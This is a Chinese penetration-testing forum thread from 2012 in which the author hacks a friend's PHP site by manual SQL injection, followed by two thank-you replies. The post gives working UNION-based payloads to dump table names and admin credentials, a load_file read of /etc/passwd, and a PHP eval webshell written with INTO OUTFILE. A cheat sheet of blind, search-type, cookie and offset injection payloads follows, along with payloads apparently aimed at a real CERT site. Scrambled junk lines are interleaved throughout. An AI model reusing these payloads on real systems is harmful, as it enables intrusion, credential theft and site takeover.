中国网络渗透测试联盟
标题:
手工注入拿下一站
[打印本页]
作者:
admin
时间:
2012-9-23 14:47
标题:
手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
: c2 h# K. j& H& m0 j( {( Q* e
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
) m- K2 y5 x3 T# `" P
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
$ H" n- @2 q& Q
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
/ x, S3 L+ X4 z0 L
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
6 v$ H- }0 z' N# v$ s
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
( D3 S# o6 x! H; G+ v& t
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
2 t# ~3 M5 q8 q2 ]$ U
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
& D% X3 @' H; X) V: j
1 x3 B& p4 _9 W0 U5 V' u1 T& p
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
! [- Q" M' c- ~: k$ \1 n$ y! B
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
$ ]: {* R7 ]. d" f& J
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
% z& C: g: _6 B; o7 T2 h8 ]
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
}" i' s/ l5 Q7 m: J+ _
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
7 S: E8 P! s1 s5 B/ v0 @3 q* U
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
4 L' x. v$ ?) _; Z1 D
我就用的是第二个思路,
- q0 U8 p1 m; P- y8 R& A/ r( X9 U
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
% |* G7 ` h9 s. _7 e: U
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
( [9 J2 L% r# [( J
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
4 n) Q+ ]7 u; E6 I) n @
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
3 {6 M, t' g' p+ S
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
G; s% |+ |! D) E) N( {- q
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
3 u! _* h& x! X% o2 [
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
2 h3 M/ q( d+ S8 r
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
, H7 U1 s- t8 V4 N# p* B8 q# y0 l
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
8 E8 W `; q. n5 S
下面是一些很普遍注入方式资料:
: T$ Y6 T7 o1 K7 x3 T; y) o
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
0 B ~- ?6 i( o& G
拆半法
" [" ]3 g/ T+ ?
######################################
3 j1 {9 w" x0 V
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
g2 l5 O1 @, X0 X: w
and exists (select * from admin)
+ E" f5 x) w' y; A6 C' V/ V
and exists(select id from admin)
& S1 u5 e. K) T( P. z; y# G6 {+ K
and exists(select id from admin where id=1)
- c1 Q+ y; B$ f& ^2 [
and exists(select id from admin where id>1)
! u9 e; O" I% N/ S( ^4 p
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
) ] x9 M6 s* }# W7 I9 U$ T& M
and exists (select username from admin)
4 O3 U9 r+ |+ o0 q( u" t
and exists (select password from admin)
) G1 ` ^% }$ s) R$ T, t9 t$ u7 ^8 i
and exists (select id from admin where len(username)<10 and id=1)
( i8 o) F+ y' e2 r# a
and exists (select id from admin where len(username)>5 and id=1)
& F5 d4 u$ j" K, ~$ `
and exists (select id from admin where len(username)=6 and id=1)
! N% Y9 h" Q+ I4 o1 q0 K3 d# N0 C
and exists (select id from admin where len(password)<10 and id=1)
( T/ L: n9 M0 F2 z
and exists (select id from admin where len(password)>5 and id=1)
, g! s& j( `: a5 W, M$ N0 ?
and exists (select id from admin where len(password)=7 and id=1)
1 L2 j/ l$ K" }
and (select top 1 asc(mid(username,1,1)) from admin)=97
6 [+ G9 S7 ?- S' |6 q3 C$ [
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
5 P" F e' E7 Y) ]& }% v5 e% w. ?1 C
猜第二位把username,1,1改成username,2,1就可以了。
3 ~. q6 q0 o+ Y) S$ e$ ?
猜密码把username改成password就OK了
5 k4 ~0 y( X8 C+ p) u7 P
##################################################
( ^- @$ j# a8 @& b7 d1 D \0 h
搜索型注入
5 J' Y0 G' I c R
##################################
s. |+ ]( B6 q
%' and 1=1 and '%'='
u1 o, Y0 l( K
%' and exists (select * from admin) and '%'='
: |" V+ X; J* c1 \& R/ P
%' and exists(select id from admin where id=1) and '%'='
0 v: }, R& E, G2 O) B4 F
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
& N* F }7 E0 H6 b7 E+ U. f/ k
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
: ^$ r9 M; P) P4 E* j
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
9 u* L- l+ ~3 _: m- ]' N: b$ I$ _; ]
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
' i% E- r/ l' l$ l0 F! M
对于MSSQL数据库,后面可以吧 and '%'='换成--
% J! X' F2 {- _" `, X
还有一点搜索型注入也可以使用union语句。
% i$ I# f/ ^2 \5 @' F9 {# T4 B
########################################################
) B7 ]( ]4 K& S, C% G& s6 N
联合查询。
0 T7 l! g+ F3 Z& N1 w z7 u. B* p
#####################################
Z) y+ q4 q' O* p
order by 10
; b1 p; N8 G: _: @/ ~4 Y5 T
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
3 p! K1 l5 t9 ~3 u5 P; n; U
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
/ f% N+ x' c" m/ P. j) n D# g c
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
) c1 ~: s) v: l, c
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
) z% {2 ^& x& `8 E) o6 P% ~' @
###################################
3 g% l) _5 ^. j% O* L; o
cookie注入
3 \- `* l+ `# c$ m/ E4 C* ?
###############################
. }" X. r& L/ g* o/ f3 r N
http://www.******.com/shownews.asp?id=127
- X9 {' i: g: E* }+ F! v$ t
http://www.******.com/shownews.asp
, v. d5 a F1 W3 M- R, L5 y
alert(="id="+escape("127"));
1 P, e G6 B' T y- s D
alert(="id="+escape("127 and 1=1"));
4 T, ?* I P f& g
alert(="id="+escape("127 order by 10"));
: u7 t1 Y+ p& ?5 z3 W! f
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
! T" V5 t4 S% M/ ^0 P O; S+ L- ?
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
7 P6 z. J& p8 v( Q" Q1 Z
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
$ m$ C, M; K* V5 d7 {
###################################
. {7 {( u$ d( O: p0 q2 r- N$ x# t3 N! v
偏移注入
# f2 T7 T8 C5 t k2 I
###########################################################
; Z1 H0 o1 y$ x U) k) Q
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
1 _" `+ J) `1 S7 B4 v1 j+ A
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
5 D A/ {. B9 K' G" ^# ~; A5 k7 e" B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
/ u& J3 V; P1 Z1 B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
+ s. j2 S! _" v2 P* D
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
+ z8 s+ L- L+ ?' B( p+ U
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
( F" P/ f; E& c' K+ P6 H4 n5 y0 Q- J
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
. `/ b$ `8 d- b& _' p0 w+ F5 M
a.id=d.id)
9 J! j. X8 Y z0 b
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
' l* s8 `+ ~9 |
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
* b' B2 z" y) f5 `' N* @1 t
( }% _0 D% l5 o' B4 S
============================================================================================================
1 s. g( c# Q2 O( b( a
1.判断版本
4 z, z2 K3 a8 C
and ord(mid(version(),1,1))>51
) g; R9 u& H) x" f7 a6 H
返回正常,说明大于4.0版本,支持ounion查询
6 c) W- c! R4 H9 ]. L/ b
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
# q/ t0 w7 D# l+ w# p
and 2=4 union select 1,2,3,4,5,6,7,8,9--
0 D! _8 R7 R8 @ P \" w% ]
3.查看数据库版本及当前用户,
& U5 X( \$ ]0 v' P2 p+ P$ [, B
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
! F& Y& y5 F' F8 C. N3 h
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
2 ~+ m6 T- p4 W6 S
4.判断有没有写权限
6 o8 f; j1 B( S. g% \. S F
and (select count(*) from MySQL.user)>0--
0 F. [+ Y6 n! }
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
K' P$ G8 [6 x5 t1 t
用不了这个命令,就学习土耳其黑客手法,如下
; t& U$ [8 f9 |& R0 F
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
8 `5 E" d: \. i1 j
6.爆表,爆库
1 y" d. \+ Y$ L- X: k+ }, y b
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
( a; y4 ^( `( q+ H5 o( m9 l
7.爆列名,爆表
2 ~5 h+ Y! t( P: v5 j8 J
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
) x1 ^/ n4 X& y/ C3 T* O
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
6 e. s# N2 ]$ `# b1 U
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
+ D; M& ^, t7 u+ b+ h1 H+ m ]7 E
9.爆字段内容
8 }$ l i* z5 e0 V* R
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
0 A9 @" W5 x Q5 G: s7 L
http://www.cert.org.tw/document/
... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者:
xiancda
时间:
2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者:
wuyu
时间:
2012-9-25 18:53
谢谢分享,学习思路啊
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2